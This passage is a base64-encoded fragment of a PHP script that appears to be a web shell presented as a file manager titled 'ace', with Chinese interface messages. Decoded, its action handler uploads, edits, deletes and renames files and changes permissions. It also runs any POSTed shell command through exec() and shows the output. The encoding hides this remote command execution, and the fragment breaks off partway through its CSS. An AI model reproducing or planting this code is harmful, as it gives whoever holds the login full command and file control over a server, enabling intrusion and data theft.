zc2FnZTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFuZGxlQWN0aW9ucygpIHsNCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsNCiAgICAgICAgJG1lc3NhZ2VfdHlwZSA9ICdzdWNjZXNzJzsNCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKSB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3VwbG9hZF9maWxlJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJHRoaXMtPmhhbmRsZUZpbGVVcGxvYWQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2NyZWF0ZV9maWxlJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9ICRfUE9TVFsnZmlsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZW5hbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gJHRoaXMtPmN1cnJlbnRfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmdWxsX3BhdGgsICcnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi5paH5Lu25Yib5bu65oiQ5YqfIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5XliJvlu7rmlofku7YiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAgICAgICAgICBjYXNlICdjcmVhdGVfZGlyZWN0b3J5JzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJuYW1lID0gJF9QT1NUWydkaXJuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRpcm5hbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gJHRoaXMtPmN1cnJlbnRfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlybmFtZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAobWtkaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi55uu5b2V5Yib5bu65oiQ5YqfIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5XliJvlu7rnm67lvZUiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAgICAgICAgICBjYXNlICdkZWxldGUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJHRhcmdldCA9ICRfUE9TVFsndGFyZ2V0J107DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhcmdldCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5kZWxldGVEaXJlY3RvcnkoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuebruW9leWIoOmZpOaIkOWKnyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5XliKDpmaTnm67lvZUiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh1bmxpbmsoJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuaWh+S7tuWIoOmZpOaIkOWKnyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5XliKDpmaTmlofku7YiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3JlbmFtZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAkb2xkX3BhdGggPSAkX1BPU1RbJ29sZF9wYXRoJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkbmV3X25hbWUgPSAkX1BPU1RbJ25ld19uYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG9sZF9wYXRoICYmICRuZXdfbmFtZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9IGRpcm5hbWUoJG9sZF9wYXRoKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbmV3X25hbWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlbmFtZSgkb2xkX3BhdGgsICRuZXdfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi6YeN5ZG95ZCN5oiQ5YqfIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5Xph43lkb3lkI0iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAgICAgICAgICBjYXNlICdlZGl0X2ZpbGUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gJF9QT1NUWydmaWxlcGF0aCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZXBhdGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPndyaXRlRmlsZSgkZmlsZXBhdGgsICRjb250ZW50KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLmlofku7bkv53lrZjmiJDlip8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleS/neWtmOaWh+S7tiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2NoYW5nZV9wZXJtaXNzaW9ucyc6DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0ID0gJF9QT1NUWyd0YXJnZXQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtaXNzaW9ucyA9ICRfUE9TVFsncGVybWlzc2lvbnMnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFyZ2V0ICYmICRwZXJtaXNzaW9ucykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgnL14wP1swLTddezN9JC8nLCAkcGVybWlzc2lvbnMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuadg+mZkOagvOW8j+mUmeivryIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGVybWlzc2lvbnMgPSBvY3RkZWMoJHBlcm1pc3Npb25zKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY2htb2QoJHRhcmdldCwgJHBlcm1pc3Npb25zKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLmnYPpmZDkv67mlLnmiJDlip8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleS/ruaUueadg+mZkCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2V4ZWN1dGVfY29tbWFuZCc6DQogICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9ICRfUE9TVFsnY29tbWFuZCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRjb21tYW5kKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldHVybl9jb2RlID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGVjKCJjZCAiIC4gZXNjYXBlc2hlbGxhcmcoJHRoaXMtPmN1cnJlbnRfcGF0aCkgLiAiICYmICIgLiAkY29tbWFuZCAuICIgMj4mMSIsICRvdXRwdXQsICRyZXR1cm5fY29kZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjb21tYW5kX291dHB1dCddID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjb21tYW5kJyA9PiAkY29tbWFuZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ291dHB1dCcgPT4gJG91dHB1dCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3JldHVybl9jb2RlJyA9PiAkcmV0dXJuX2NvZGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAkZS0+Z2V0TWVzc2FnZSgpOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlX3R5cGUgPSAnZXJyb3InOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuIGFycmF5KCdtZXNzYWdlJyA9PiAkbWVzc2FnZSwgJ3R5cGUnID0+ICRtZXNzYWdlX3R5cGUpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHJldHVybiBmYWxzZTsNCg0KICAgICAgICAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOw0KICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIGlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQoNCiAgICAgICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPmRlbGV0ZURpcmVjdG9yeSgkcGF0aCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHVubGluaygkcGF0aCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gcm1kaXIoJGRpcik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbmRlcigpIHsNCiAgICAgICAgaWYgKCEkdGhpcy0+aXNMb2dnZWRJbigpKSB7DQogICAgICAgICAgICAkdGhpcy0+c2hvd0xvZ2luUGFnZSgpOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgJGFjdGlvbl9yZXN1bHQgPSAkdGhpcy0+aGFuZGxlQWN0aW9ucygpOw0KICAgICAgICAkY29udGVudHMgPSAkdGhpcy0+Z2V0RGlyZWN0b3J5Q29udGVudHMoKTsNCg0KICAgICAgICAkY29tbWFuZF9vdXRwdXQgPSBpc3NldCgkX1NFU1NJT05bJ2NvbW1hbmRfb3V0cHV0J10pID8gJF9TRVNTSU9OWydjb21tYW5kX291dHB1dCddIDogbnVsbDsNCiAgICAgICAgaWYgKCRjb21tYW5kX291dHB1dCkgew0KICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydjb21tYW5kX291dHB1dCddKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRlZGl0aW5nX2ZpbGUgPSBpc3NldCgkX0dFVFsnZWRpdCddKSA/ICRfR0VUWydlZGl0J10gOiBudWxsOw0KICAgICAgICAkZmlsZV9jb250ZW50ID0gJyc7DQogICAgICAgICRmaWxlX2luZm8gPSBhcnJheSgpOw0KDQogICAgICAgIGlmICgkZWRpdGluZ19maWxlKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICRmaWxlX2NvbnRlbnQgPSAkdGhpcy0+cmVhZEZpbGUoJGVkaXRpbmdfZmlsZSk7DQogICAgICAgICAgICAgICAgJGZpbGVfaW5mbyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gYmFzZW5hbWUoJGVkaXRpbmdfZmlsZSksDQogICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkZWRpdGluZ19maWxlLA0KICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gJHRoaXMtPmZvcm1hdFNpemUoZmlsZXNpemUoJGVkaXRpbmdfZmlsZSkpLA0KICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRlZGl0aW5nX2ZpbGUpKSwNCiAgICAgICAgICAgICAgICAgICAgJ3Blcm1pc3Npb25zJyA9PiAkdGhpcy0+Z2V0UGVybWlzc2lvbnMoJGVkaXRpbmdfZmlsZSksDQogICAgICAgICAgICAgICAgICAgICdudW1lcmljX3Blcm1pc3Npb25zJyA9PiAkdGhpcy0+Z2V0TnVtZXJpY1Blcm1pc3Npb25zKCRlZGl0aW5nX2ZpbGUpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICAgICAgICAgICRhY3Rpb25fcmVzdWx0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICdtZXNzYWdlJyA9PiAkZS0+Z2V0TWVzc2FnZSgpLA0KICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ2Vycm9yJw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgJGVkaXRpbmdfZmlsZSA9IG51bGw7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICA/Pg0KICAgICAgICA8IURPQ1RZUEUgaHRtbD4NCiAgICAgICAgPGh0bWwgbGFuZz0iemgtQ04iPg0KICAgICAgICA8aGVhZD4NCiAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICAgICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICAgICAgICAgIDx0aXRsZT5hY2U8L3RpdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICp7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH0NCiAgICAgICAgICAgICAgICBib2R5e2ZvbnQtZmFtaWx5OkFyaWFsLHNhbnMtc2VyaWY7bGluZS1oZWlnaHQ6MS42O2NvbG9yOiMzMzM7YmFja2dyb3VuZDojZjVmNWY1fQ0KICAgICAgICAgICAgICAgIC5jb250YWluZXJ7bWF4LXdpZHRoOjE0MDBweDttYXJnaW46MCBhdXRvO2JhY2tncm91bmQ6d2hpdGU7Ym94LXNoYWRvdzowIDJweCA1cHggcmdiYSgwLDAsMCwwLjEpO21pbi1oZWlnaHQ6MTAwdmh9DQogICAgICAgICAgICAgICAgLmhlYWRlcntiYWNrZ3JvdW5kOiMyYzNlNTA7Y29sb3I6d2hpdGU7cGFkZGluZzoxNXB4IDIwcHg7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcn0NCiAgICAgICAgICAgICAgICAuaGVhZGVyLWluZm8gaDF7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC1zaXplOjIwcHh9DQogICAgICAgICAgICAgICAgLnVzZXItaW5mb3t0ZXh0LWFsaWduOnJpZ2h0O2ZvbnQtc2l6ZToxNHB4fQ0KICAgICAgICAgICAgICAgIC51c2VyLWluZm8gLnVzZXJuYW1le2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IzM0OThkYn0NCiAgICAgICAgICAgICAgICAubG9nb3V0LWJ0bntiYWNrZ3JvdW5kOiNlNzRjM2M7Y29sb3I6d2hpdGU7Ym9yZGVyOm5vbmU7cGFkZGluZzo2cHggMTJweDtib3JkZXItcmFkaXVzOjNweDtjdXJzb3I6cG9pbnRlcjt0ZXh0LWRlY29yYXRpb246bm9uZTtkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tdG9wOjNweDtmb250LXNpemU6MTJweH0NCiAgICAgICAgICAgICAgICAubG9nb3V0LWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiNjMDM5MmJ9DQogICAgICAgICAgICAgICAgLmN1cnJlbnQtcGF0aHtiYWNrZ3JvdW5kOiMzNDQ5NWU7cGFkZGluZzo4cHggMjBweDtmb250LWZhbWlseTptb25vc3BhY2U7d29yZC1icmVhazpicmVhay1hbGw7Y29sb3I6I2VjZjBmMTtmb250LXNpemU6MTNweH0NCiAgICAgICAgICAgICAgICAubmF2aWdhdGlvbntiYWNrZ3JvdW5kOiNlY2YwZjE7cGFkZGluZzoxMnB4IDIwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2JkYzNjN30NCiAgICAgICAgICAgICAgICAubmF2LWJ1dHRvbnN7ZGlzcGxheTpmbGV4O2dhcDo4cHg7ZmxleC13cmFwOndyYXA7bWFyZ2luLWJvdHRvbTo4cHh9DQogICAgICAgICAgICAgICAgLmJ0bntwYWRkaW5nOjZweCAxMnB4O2JvcmRlcjpub25lO2JvcmRlci1yYWRpdXM6M3B4O2N1cnNvcjpwb2ludGVyO3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5idG4tcHJpbWFyeXtiYWNrZ3JvdW5kOiMzNDk4ZGI7Y29sb3I6d2hpdGV9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5OmhvdmVye2JhY2tncm91bmQ6IzI5ODBiOX0NCiAgICAgICAgICAgICAgICAuYnRuLXN1Y2Nlc3N7YmFja2dyb3VuZDojMjdhZTYwO2NvbG9yOndoaXRlfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZ3tiYWNrZ3JvdW5kOiNmMzljMTI7Y29sb3I6d2hpdGV9DQogICAgICAgICAgICAgICAgLmJ0bi1pbmZve2JhY2tncm91bmQ6IzE3YTJiODtjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLWRhbmdlcntiYWNrZ3JvdW5kOiNlNzRjM2M7Y29sb3I6d2hpdGV9DQogICAgICAgICAgICAgICAgLmJ0bi1wcm9qZWN0e2JhY2tncm91bmQ6IzliNTliNjtjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLXByb2plY3Q6aG92ZXJ7YmFja2dyb3VuZDojOGU0NGFkfQ0KICAgICAgICAgICAgICAgIC5idG4tdXBsb2Fke2JhY2tncm91bmQ6IzFhYmM5Yztjb2xvcjp3aGl0ZX0NCiAgICAgICAgICAgICAgICAuYnRuLXVwbG9hZDpob3ZlcntiYWNrZ3JvdW5kOiMxNmEwODV9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2V7cGFkZGluZzo4cHggMTJweDttYXJnaW46OHB4IDA7Ym9yZGVyLXJhZGl1czozcHg7Zm9udC1zaXplOjEzcHh9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2Uuc3VjY2Vzc3tiYWNrZ3JvdW5kOiNkNGVkZGE7Y29sb3I6IzE1NTcyNDtib3JkZXI6MXB4IHNvbGlkICNjM2U2Y2J9DQogICAgICAgICAgICAgICAgLm1lc3NhZ2UuZXJyb3J7YmFja2dyb3VuZDojZjhkN2RhO2NvbG9yOiM3MjFjMjQ7Ym9yZGVyOjFweCBzb2xpZCAjZjVjNmNifQ0KICAgICAgICAgICAgICAgIC5maWxlLXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5maWxlLXRhYmxlIHRoLC5maWxlLXRhYmxlIHRke3BhZGRpbmc6OHB4IDEwcHg7dGV4dC1hbGlnbjpsZWZ0O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNlY2YwZjF9DQogICAgICAgICAgICAgICAgLmZpbGUtdGFibGUgdGh7YmFja2dyb3VuZDojMzQ0OTVlO2NvbG9yOndoaXRlO2ZvbnQtd2VpZ2h0OjYwMH0NCiAgICAgICAgICAgICAgICAuZmlsZS10YWJsZSB0cjpob3ZlcntiYWNrZ3JvdW5kOiNmOGY5ZmF9DQogICAgICAgICAgICAgICAgLmZpbGUtbmFtZXtmb250LXdlaWdodDo1MDB9DQogICAgICAgICAgICAgICAgLmRpcmVjdG9yeXtjb2xvcjojMzQ5OGRifQ0KICAgICAgICAgICAgICAgIC5maWxle2NvbG9yOiMyYzNlNTB9DQogICAgICAgICAgICAgICAgLmZpbGUtYWN0aW9uc3tkaXNwbGF5OmZsZXg7Z2FwOjNweH0NCiAgICAgICAgICAgICAgICAuYWN0aW9uLWJ0bntwYWRkaW5nOjNweCA2cHg7Zm9udC1zaXplOjExcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czoycHg7Y3Vyc29yOnBvaW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQogICAgICAgICAgICAgICAgLm1vZGFse2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsMC41KTt6LWluZGV4OjEwMDB9DQogICAgICAgICAgICAgICAgLm1vZGFsLWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjUwJTtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7YmFja2dyb3VuZDp3aGl0ZTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czo1cHg7bWluLXdpZHRoOjM1MHB4O21heC13aWR0aDo5MCU7bWF4LWhlaWdodDo5MHZoO292ZXJmbG93LXk6YXV0b30NCiAgICAgICAgICAgICAgICAubW9kYWwgaDN7bWFyZ2luLWJvdHRvbToxNXB4O2NvbG9yOiMyYzNlNTA7Zm9udC1zaXplOjE2cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxMnB4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWdyb3VwIGxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTozcHg7Zm9udC13ZWlnaHQ6NTAwO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWNvbnRyb2x7d2lkdGg6MTAwJTtwYWRkaW5nOjZweCA4cHg7Ym9yZGVyOjFweCBzb2xpZCAjYmRjM2M3O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWNvbnRyb2wtc21hbGx7d2lkdGg6MTAwcHh9DQogICAgICAgICAgICAgICAgdGV4dGFyZWEuZm9ybS1jb250cm9se21pbi1oZWlnaHQ6MjUwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3Jlc2l6ZTp2ZXJ0aWNhbDtmb250LXNpemU6MTJweH0NCiAgICAgICAgICAgICAgICAuY29tbWFuZC1vdXRwdXR7YmFja2dyb3VuZDojMmMzZTUwO2NvbG9yOiNlY2YwZjE7cGFkZGluZzoxMHB4O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt3aGl0ZS1zcGFjZTpwcmUtd3JhcDttYXgtaGVpZ2h0OjIwMHB4O292ZXJmbG93LXk6YXV0bzttYXJnaW4tdG9wOjhweDtmb250LXNpemU6MTJweH0NCiAgICAgICAgICAgICAgICAuZmlsZS1pbmZve2JhY2tncm91bmQ6I2Y4ZjlmYTtwYWRkaW5nOjEycHg7Ym9yZGVyLXJhZGl1czozcHg7bWFyZ2luLWJvdHRvbToxMnB4O2JvcmRlci1sZWZ0OjRweCBzb2xpZCAjMzQ5OGRiO2ZvbnQtc2l6ZToxM3B4fQ0KICAgICAgICAgICAgICAgIC5maWxlLWluZm8taXRlbXttYXJnaW4tYm90dG9tOjNweH0NCiAgICAgICAgICAgICAgICAuZWRpdG9yLWFjdGlvbnN7ZGlzcGxheTpmbGV4O2dhcDo4cHg7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kO21hcmdpbi10b3A6MTJweDtwYWRkaW5nLXRvcDoxMnB4O2JvcmRlci10b3A6MXB4IHNvbGlkICNlY2YwZjF9DQogICAgICAgICAgICAgICAgLmNvbnRlbnQtYXJlYXtwYWRkaW5nOjE1cHh9DQogICAgICAgICAgICAgICAgLnBhdGgtbmF2aWdhdGlvbnttYXJnaW4tYm90dG9tOjEwcHg7Zm9udC1zaXplOjEycHg7Y29sb3I6IzY2Nn0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXZpZ2F0aW9uIGF7Y29sb3I6IzM0OThkYjt0ZXh0LWRlY29yYXRpb246bm9uZX0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXZpZ2F0aW9uIGE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0NCiAgICAgICAgICAgICAgICAucXVpY2stbGlua3N7bWFyZ2luLWJvdHRvbToxNXB4O3BhZGRpbmc6MTBweDtiYWNrZ3JvdW5kOiNlOGY0ZmQ7Ym9yZGVyLXJhZGl1czozcHh9DQogICAgICAgICAgICAgICAgLnF1aWNrLWxpbmtzIGg0e21hcmdpbi1ib3R0b206OHB4O2NvbG9yOiMyYzNlNTA7Zm9udC1zaXplOjE0cHh9DQogICAgICAgICAgICAgICAgLnF1aWNrLWxpbmstYnRue2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6NHB4IDhweDttYXJnaW46MnB4O2JhY2tncm91bmQ6IzM0OThkYjtjb2xvcjp3aGl0ZTt0ZXh0LWRlY29yYXRpb246bm9uZTtib3JkZXItcmFkaXVzOjJweDtmb250LXNpemU6MTFweH0NCiAgICAgICAgICAgICAgICAucXVpY2stbGluay1idG46aG92ZXJ7YmFja2dyb3VuZDojMjk4MGI5fQ0KICAgICAgICAgICAgICAgIC5xdWljay1saW5rLXByb2plY3R7YmFja2dyb3VuZDojOWI1OWI2fQ0KICAgICAgICAgICAgICAgIC5xdWljay1saW5rLXByb2plY3Q6aG92ZXJ7YmFja2dyb3VuZDojOGU0NGFkfQ0KICAgICAgICAgICAgICAgIC51cGxvYWQtY29udGFpbmVye21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nOjE1cHg7YmFja2dyb3VuZDojZThmNGZkO2Jvc